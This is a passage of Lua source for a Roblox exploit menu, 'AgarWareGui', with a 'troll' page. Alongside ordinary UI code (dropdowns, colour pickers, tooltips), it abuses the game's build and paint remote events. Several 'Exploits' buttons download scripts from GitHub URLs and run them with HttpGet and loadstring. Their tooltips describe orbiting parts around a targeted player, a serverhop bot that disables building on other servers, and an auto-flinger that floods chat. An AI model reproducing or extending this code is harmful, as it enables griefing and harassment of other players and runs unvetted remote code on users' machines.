mat:lower():find(filter:lower(), 1, true) then table.insert(filtered, mat) end end for i, mat in ipairs(filtered) do local isSelected = selectedMaterial == mat local row = Instance.new("Frame") row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) row.BackgroundColor3 = isSelected and HOVER or BG row.BorderSizePixel = 0 row.LayoutOrder = i row.ZIndex = 1001 row.Parent = scrollFrame local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, -12, 1, 0) nameLabel.Position = UDim2.new(0, 6, 0, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = mat nameLabel.TextColor3 = isSelected and BLUE or WHITE nameLabel.TextSize = 14 nameLabel.Font = Enum.Font.Code nameLabel.TextXAlignment = Enum.TextXAlignment.Left nameLabel.TextTruncate = Enum.TextTruncate.AtEnd nameLabel.ZIndex = 1002 nameLabel.Parent = row local rowBtn = Instance.new("TextButton") rowBtn.Size = UDim2.new(1, 0, 1, 0) rowBtn.BackgroundTransparency = 1 rowBtn.Text = "" rowBtn.ZIndex = 1003 rowBtn.Parent = row rowBtn.MouseEnter:Connect(function() if selectedMaterial ~= mat then row.BackgroundColor3 = HOVER end end) rowBtn.MouseLeave:Connect(function() if selectedMaterial ~= mat then row.BackgroundColor3 = BG end end) rowBtn.MouseButton1Click:Connect(function() selectedMaterial = mat MaterialRepRow:SetAttribute("SelectedMaterial", mat) mainLabel.Text = mat isOpen = false panel.Visible = false mainLabel.Visible = true mainArrow.Visible = true end) end updatePanelSize(#filtered) end local function openDropdown() isOpen = true mainLabel.Visible = false mainArrow.Visible = false repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0 local absPos = MaterialRepDropdown.AbsolutePosition local absSize = MaterialRepDropdown.AbsoluteSize panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y) panel.Visible = true searchBox.Text = "" buildList("") end local function closeDropdown() isOpen = false panel.Visible = false mainLabel.Visible = true mainArrow.Visible = true end MaterialRepDropdown.MouseButton1Click:Connect(function() if isOpen then closeDropdown() else openDropdown() end end) searchArrow.MouseButton1Click:Connect(closeDropdown) searchBox:GetPropertyChangedSignal("Text"):Connect(function() buildList(searchBox.Text) end) UserInputService.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then local mousePos = input.Position local panelPos = panel.AbsolutePosition local panelSize = panel.AbsoluteSize local btnPos = MaterialRepDropdown.AbsolutePosition local btnSize = MaterialRepDropdown.AbsoluteSize local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y if not inPanel and not inBtn then closeDropdown() end end end) MaterialRepRow:SetAttribute("SelectedMaterial", "Smooth") end; task.spawn(C_14d); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript local function C_152() local script = G2L["152"]; local ColorRepButton = script.Parent local ColorRepRow = ColorRepButton.Parent local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Find ColorPicker in ScreenGui local function getColorPicker() local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui") return screenGui:WaitForChild("ColorPicker") end local ColorPicker = getColorPicker() local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle") local ColorSelect = ColorPicker:WaitForChild("ColorSelect") local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker") local HEX = ColorPicker:WaitForChild("HEX") -- Store the color when opening local colorBeforeOpen = ColorRepButton.BackgroundColor3 -- ============================================================ -- OPEN COLOR PICKER -- ============================================================ ColorRepButton.MouseButton1Click:Connect(function() -- If already open for ColorRep, close it (act like X button) if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") return end -- Store current color colorBeforeOpen = ColorRepButton.BackgroundColor3 -- Set title ColorPickerTitle.Text = "Block Color" -- Set picker to current button color local hex = string.format("#%02x%02x%02x", math.floor(colorBeforeOpen.R * 255), math.floor(colorBeforeOpen.G * 255), math.floor(colorBeforeOpen.B * 255) ) -- Wait for ColorPicker functions to be available task.wait(0.1) if _G.ColorPickerFunctions then _G.ColorPickerFunctions.SetColor(hex) _G.ColorPickerFunctions.Center() -- Center on first open end -- Show picker ColorPicker.Visible = true -- Mark this as active for ColorRep ColorPicker:SetAttribute("ActiveFor", "ColorRep") end) -- ============================================================ -- SELECT COLOR (Update ColorRepButton) -- ============================================================ ColorSelect.MouseButton1Click:Connect(function() if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then -- Update ColorRepButton to selected color ColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3 -- Store in attribute for other scripts ColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3) -- Hide picker ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") end end) -- ============================================================ -- CLOSE (Keep old color) -- ============================================================ CloseColorPicker.MouseButton1Click:Connect(function() if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then -- Don't update ColorRepButton, keep old color ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") end end) end; task.spawn(C_152); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript local function C_156() local script = G2L["156"]; local SprayColorRepButton = script.Parent local SprayColorRepRow = SprayColorRepButton.Parent local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Find ColorPicker in ScreenGui local function getColorPicker() local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui") return screenGui:WaitForChild("ColorPicker") end local ColorPicker = getColorPicker() local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle") local ColorSelect = ColorPicker:WaitForChild("ColorSelect") local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker") local HEX = ColorPicker:WaitForChild("HEX") -- Store the color when opening local colorBeforeOpen = SprayColorRepButton.BackgroundColor3 -- ============================================================ -- OPEN COLOR PICKER -- ============================================================ SprayColorRepButton.MouseButton1Click:Connect(function() -- If already open for SprayColorRep, close it (act like X button) if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") return end -- Store current color colorBeforeOpen = SprayColorRepButton.BackgroundColor3 -- Set title ColorPickerTitle.Text = "Spray Color" -- Set picker to current button color local hex = string.format("#%02x%02x%02x", math.floor(colorBeforeOpen.R * 255), math.floor(colorBeforeOpen.G * 255), math.floor(colorBeforeOpen.B * 255) ) -- Wait for ColorPicker functions to be available task.wait(0.1) if _G.ColorPickerFunctions then _G.ColorPickerFunctions.SetColor(hex) _G.ColorPickerFunctions.Center() -- Center on first open end -- Show picker ColorPicker.Visible = true -- Mark this as active for SprayColorRep ColorPicker:SetAttribute("ActiveFor", "SprayColorRep") end) -- ============================================================ -- SELECT COLOR (Update SprayColorRepButton) -- ============================================================ ColorSelect.MouseButton1Click:Connect(function() if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then -- Update SprayColorRepButton to selected color SprayColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3 -- Store in attribute for other scripts to use SprayColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3) -- Hide picker ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") end end) -- ============================================================ -- CLOSE (Keep old color) -- ============================================================ CloseColorPicker.MouseButton1Click:Connect(function() if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then -- Don't update SprayColorRepButton, keep old color ColorPicker.Visible = false ColorPicker:SetAttribute("ActiveFor", "") end end) -- ============================================================ -- INITIALIZE - Set default to white -- ============================================================ SprayColorRepButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) SprayColorRepRow:SetAttribute("SelectedColor", Color3.fromRGB(255, 255, 255)) end; task.spawn(C_156); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript local function C_158() local script = G2L["158"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local DefaultRepRow = script.Parent local DefaultRepButton = DefaultRepRow:WaitForChild("DefaultRepButton") local originalText = DefaultRepButton.Text local isApplying = false -- ============================================================ -- GET TOOLS AND EVENTS -- ============================================================ local function getPaintTool() return LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) end local function getPaintEvent() local tool = getPaintTool() if tool then return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") end return nil end local function getRepBrick() local repStorage = game:GetService("ReplicatedStorage") return repStorage:FindFirstChild("Brick") end -- ============================================================ -- EQUIP PAINT TOOL -- ============================================================ local function equipPaintTool() local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint") if not paintTool then return false, "Paint tool not found in backpack" end local character = LocalPlayer.Character if not character then return false, "No character" end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return false, "No humanoid" end -- Equip Paint tool if not already equipped if not character:FindFirstChild("Paint") then humanoid:EquipTool(paintTool) task.wait(0.1) end return true end -- ============================================================ -- APPLY DEFAULT SETTINGS -- ============================================================ local function applyDefault() if isApplying then return end isApplying = true DefaultRepButton.Text = "Applying..." task.spawn(function() local success, errorMsg = pcall(function() -- Default settings local defaultColor = Color3.fromRGB(192, 192, 192) local defaultMaterial = "plastic" -- Get rep brick local repBrick = getRepBrick() if not repBrick then error("Rep brick not found in ReplicatedStorage") end -- Save currently equipped tool local character = LocalPlayer.Character if not character then error("No character") end local previousTool = character:FindFirstChildOfClass("Tool") local wasPaintEquipped = previousTool and previousTool.Name == "Paint" -- Equip paint tool if not already equipped if not wasPaintEquipped then local equipped, equipError = equipPaintTool() if not equipped then error(equipError) end end -- Get paint event local paintEvent = getPaintEvent() if not paintEvent then error("Paint event not found") end -- Paint all 6 sides with default color local sides = { Enum.NormalId.Front, Enum.NormalId.Right, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Top, Enum.NormalId.Bottom } for i, side in ipairs(sides) do pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "", "") end) task.wait(0.05) end -- Apply default material (plastic) pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", defaultColor, defaultMaterial, "") end) task.wait(0.1) -- Clear all sprays on all 6 sides for i, side in ipairs(sides) do for retry = 1, 2 do pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "spray", "") end) task.wait(0.03) end end -- Anchor the brick local isCurrentlyAnchored = repBrick.Anchored if not isCurrentlyAnchored then -- Clear spray on Top side first pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", defaultColor, "spray", "") end) task.wait(0.1) -- Anchor it pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "") end) task.wait(0.1) end -- Restore previous tool or unequip if not wasPaintEquipped then local humanoid = character:FindFirstChild("Humanoid") if humanoid then humanoid:UnequipTools() task.wait(0.1) -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then humanoid:EquipTool(previousTool) end end end end) isApplying = false if success then DefaultRepButton.Text = "Resetted colors!" task.wait(2) else DefaultRepButton.Text = "Paint tool not found!" warn("[DefaultRep] Error:", errorMsg) task.wait(2) end DefaultRepButton.Text = originalText end) end -- ============================================================ -- BUTTON CLICK -- ============================================================ DefaultRepButton.MouseButton1Click:Connect(applyDefault) end; task.spawn(C_158); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript local function C_15e() local script = G2L["15e"]; local RichTextRepRow = script.Parent local RichTextRepTickBox = RichTextRepRow:WaitForChild("RichTextRepTickBox") local function getAccentColor() local RepGroup = RichTextRepRow.Parent local a = RepGroup:FindFirstChild("RepAccentColor") return a and a.BackgroundColor3 or Color3.new(1, 1, 1) end -- State local isEnabled = true -- Default ON -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then RichTextRepTickBox.BackgroundColor3 = getAccentColor() else RichTextRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end -- Store in attribute for SprayRep to read RichTextRepRow:SetAttribute("RichTextEnabled", isEnabled) end -- ============================================================ -- CLICK HANDLER -- ============================================================ RichTextRepTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- INITIALIZE - Default ON -- ============================================================ RichTextRepTickBox.BackgroundColor3 = getAccentColor() RichTextRepRow:SetAttribute("RichTextEnabled", true) print("[RichTextRep] ON by default") end; task.spawn(C_15e); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript local function C_162() local script = G2L["162"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local RestoreBrickRow = script.Parent local RestoreBrickButton = RestoreBrickRow:WaitForChild("RestoreBrickButton") local RestoreBrickHelp = RestoreBrickRow:WaitForChild("RestoreBrickHelp") local originalText = RestoreBrickButton.Text local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return Players.LocalPlayer:WaitForChild("PlayerGui"):FindFirstChildOfClass("ScreenGui") end local screenGui = getScreenGui() local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = screenGui local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Restores building by placing a block at where you are. You must have Build and must be in the server before Bkit gets disabled. If you joined after Bkit got disabled, there has to be an existing block in the server." tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame RestoreBrickHelp.MouseEnter:Connect(function() local abs = RestoreBrickHelp.AbsolutePosition local size = RestoreBrickHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) RestoreBrickHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) if getgenv().brickcollection == nil then getgenv().brickcollection = {} end local brickname = "Brick" local cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks") local function dbc(b) if b.Name ~= brickname then return end if not table.find(getgenv().brickcollection, b) then table.insert(getgenv().brickcollection, 1, b) end end if cfolder then cfolder.DescendantAdded:Connect(dbc) for i,v in pairs(cfolder:GetDescendants()) do dbc(v) end end local function getplrpos() return LocalPlayer.Character.HumanoidRootPart.Position end local function findtool(toolname) for i,v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") and v.Name:find(toolname) then return v end end for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") and v.Name:find(toolname) then return v end end return nil end local function equiptool(toolname) local tool = findtool(toolname) if tool and tool.Parent == LocalPlayer.Backpack then tool.Parent = LocalPlayer.Character end return tool end local function restoreBrick() local rs = game:GetService("ReplicatedStorage") local ws = 0.235 if not cfolder then cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks") if not cfolder then warn("Bricks/Blocks folder not found") return false end end if not rs:FindFirstChild(brickname) then local brick = Instance.new("Part") brick.Name = brickname brick.Parent = rs end for i,v in pairs(LocalPlayer.Character:GetChildren()) do if v:HasTag("The Chosen One by TomazDev") then v.Script.Enabled = false v.Script.Enabled = true end end for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:HasTag("The Chosen One by TomazDev") then v.Script.Enabled = false v.Script.Enabled = true end end local currentlyEquipped = LocalPlayer.Character:FindFirstChildOfClass("Tool") local buildtool = findtool("Build") local painttool = findtool("Paint") local shapetool = findtool("Shape") if not buildtool then warn("Build tool not found!") return false, "Build tool not found!" end local toolsToEquip = {buildtool} if painttool then table.insert(toolsToEquip, painttool) end if shapetool then table.insert(toolsToEquip, shapetool) end for _, tool in ipairs(toolsToEquip) do if tool.Parent == LocalPlayer.Backpack then tool.Parent = LocalPlayer.Character end end task.wait(0.1) if not currentlyEquipped or (currentlyEquipped.Name ~= buildtool.Name and (not painttool or currentlyEquipped.Name ~= painttool.Name) and (not shapetool or currentlyEquipped.Name ~= shapetool.Name)) then for _, tool in ipairs(toolsToEquip) do if tool.Parent == LocalPlayer.Character then tool.Parent = LocalPlayer.Backpack end end else for _, tool in ipairs(toolsToEquip) do if currentlyEquipped.Name ~= tool.Name and tool.Parent == LocalPlayer.Character then tool.Parent = LocalPlayer.Backpack end end end task.wait(ws) local currbc = {} local ins = 1 for i,v in pairs(getgenv().brickcollection) do if v ~= nil then if v:GetFullName() ~= brickname and v.Name ~= "Debris" then table.insert(currbc, 1, v) ins += 1 else table.insert(currbc, v) if i%2 == 1 then table.insert(currbc, v) else table.insert(currbc, ins, v) end end else table.remove(getgenv().brickcollection, table.find(getgenv().brickcollection, v)) end end if #currbc == 0 then warn("No blocks found!") return false, "No blocks found!" end local playerfolder = cfolder:FindFirstChild(LocalPlayer.Name) if not playerfolder then warn("Player folder not found") return false end local block = nil local beforeamt = #playerfolder:GetChildren() for i,v in pairs(currbc) do if v ~= nil and typeof(v) == "Instance" then block = v if buildtool:FindFirstChild("Script") and buildtool.Script:FindFirstChild("Event") then buildtool.Script.Event:FireServer( block, Enum.NormalId.Top, getplrpos(), "detailed" ) end task.wait(ws) if beforeamt < #playerfolder:GetChildren() then break end else table.remove(currbc, table.find(currbc, v)) end end task.wait(1) block = playerfolder:FindFirstChildWhichIsA("BasePart") if block then block = playerfolder:GetChildren()[#playerfolder:GetChildren()] if painttool then if block.Material ~= Enum.Material.Plastic then painttool.Script.Event:FireServer( block, Enum.NormalId.Top, getplrpos(), "material", Color3.fromRGB(192,192,192), "plastic", "" ) task.wait(ws*2) end if not block.Anchored or block.CFrame - block.Position ~= CFrame.new() then local l = tick() repeat if tick() > l then l = tick()+(ws*2) painttool.Script.Event:FireServer( block, Enum.NormalId.Top, getplrpos(), "both 🤝", Color3.fromRGB(192,192,192), "anchor", "" ) end task.wait() until block.Anchored and block.CFrame - block.Position == CFrame.new() end end if shapetool then local blockpos = block.Position blockpos = Vector3.new(blockpos.X%4, blockpos.Y%4, blockpos.Z%4) blockpos = blockpos - Vector3.new(0.5, 0.5, 0.5) for i=1, blockpos.X do shapetool.Script.Event:FireServer( block, Enum.NormalId.Left, block.Position, "increase" ) task.wait(0.15) end for i=1, 3-blockpos.X do shapetool.Script.Event:FireServer( block, Enum.NormalId.Right, block.Position, "increase" ) task.wait(0.15) end for i=1, blockpos.Y do shapetool.Script.Event:FireServer( block, Enum.NormalId.Bottom, block.Position, "increase" ) task.wait(0.15) end for i=1, 3-blockpos.Y do shapetool.Script.Event:FireServer( block, Enum.NormalId.Top, block.Position, "increase" ) task.wait(0.15) end for i=1, blockpos.Z do shapetool.Script.Event:FireServer( block, Enum.NormalId.Front, block.Position, "increase" ) task.wait(0.15) end for i=1, 3-blockpos.Z do shapetool.Script.Event:FireServer( block, Enum.NormalId.Back, block.Position, "increase" ) task.wait(0.15) end end task.wait(0.5) return true else warn("No block created") return false end end RestoreBrickButton.MouseButton1Click:Connect(function() RestoreBrickButton.Text = "RESTORING..." task.spawn(function() local success, result = pcall(restoreBrick) if success and result == true then RestoreBrickButton.Text = "RESTORED!" task.wait(3) RestoreBrickButton.Text = originalText elseif not success then RestoreBrickButton.Text = "FAILED" task.wait(3) RestoreBrickButton.Text = originalText elseif result == "Build tool not found!" then RestoreBrickButton.Text = "NO BUILD TOOL!" task.wait(3) RestoreBrickButton.Text = originalText elseif result == "No blocks found!" then RestoreBrickButton.Text = "NO BLOCKS!" task.wait(3) RestoreBrickButton.Text = originalText else RestoreBrickButton.Text = "FAILED" task.wait(3) RestoreBrickButton.Text = originalText end end) end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_162); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript local function C_166() local script = G2L["166"]; local ExploitsGroup = script.Parent local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize local function getRows() local rows = {} for _, child in ipairs(ExploitsGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ExploitsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ExploitsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ExploitsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ExploitsMinimize.Text = "+" else ExploitsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ExploitsMinimize.Text = "-" end end) end; task.spawn(C_166); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript local function C_16c() local script = G2L["16c"]; local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local UNRow = script.Parent local UNButton = UNRow.UNButton local UNHelp = UNRow.UNHelp local originalText = UNButton.Text local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/troll1" -- Tooltip local sg = getScreenGui() local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = sg local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "So its basically the Unanchored Part Abuse by Mental but i edited it so that you can click a player and it would orbit them instead.\n\nAt the very top is a button to click a player. Set to none = no one selected. Set speed 2 or more if u want the blocks to orbit on a player anywhere u are standing" label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame UNHelp.MouseEnter:Connect(function() local abs = UNHelp.AbsolutePosition local size = UNHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) UNHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- Button UNButton.MouseButton1Click:Connect(function() UNButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then UNButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) UNButton.Text = originalText else UNButton.Text = "FAILED TO EXECUTE" task.wait(3) UNButton.Text = originalText end end) end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_16c); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript local function C_170() local script = G2L["170"]; local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local BBRow = script.Parent local BBButton = BBRow.BBButton local BBHelp = BBRow.BBHelp local originalText = BBButton.Text local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/bot1" -- Tooltip local sg = getScreenGui() local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = sg local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "A script i made that automatically serverhops and disables bkit in that server made by me.\n\nExecuting it will start serverhopping as soon as you click execute. Joining a XL server will only target XL servers." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame BBHelp.MouseEnter:Connect(function() local abs = BBHelp.AbsolutePosition local size = BBHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) BBHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- Button BBButton.MouseButton1Click:Connect(function() BBButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then BBButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) BBButton.Text = originalText else BBButton.Text = "FAILED TO EXECUTE" task.wait(3) BBButton.Text = originalText end end) end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_170); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript local function C_174() local script = G2L["174"]; local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local FFRow = script.Parent local FFButton = FFRow.FFButton local FFHelp = FFRow.FFHelp local originalText = FFButton.Text ------------------------------------------------ -- TOOLTIP ------------------------------------------------ local sg = getScreenGui() local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = sg local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "A auto flinger bot that rejoins when you get noclipped. It also has anti freeze and kill.\n\n" .. "Executing it will immediately start flinging as soon as you click execute. Leave the game to stop flinging. It will also flood messages in chat, you won't get banned but please keep in mind." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame FFHelp.MouseEnter:Connect(function() local abs = FFHelp.AbsolutePosition local size = FFHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) FFHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) ------------------------------------------------ -- BUTTON EXECUTE ------------------------------------------------ FFButton.MouseButton1Click:Connect(function() FFButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() 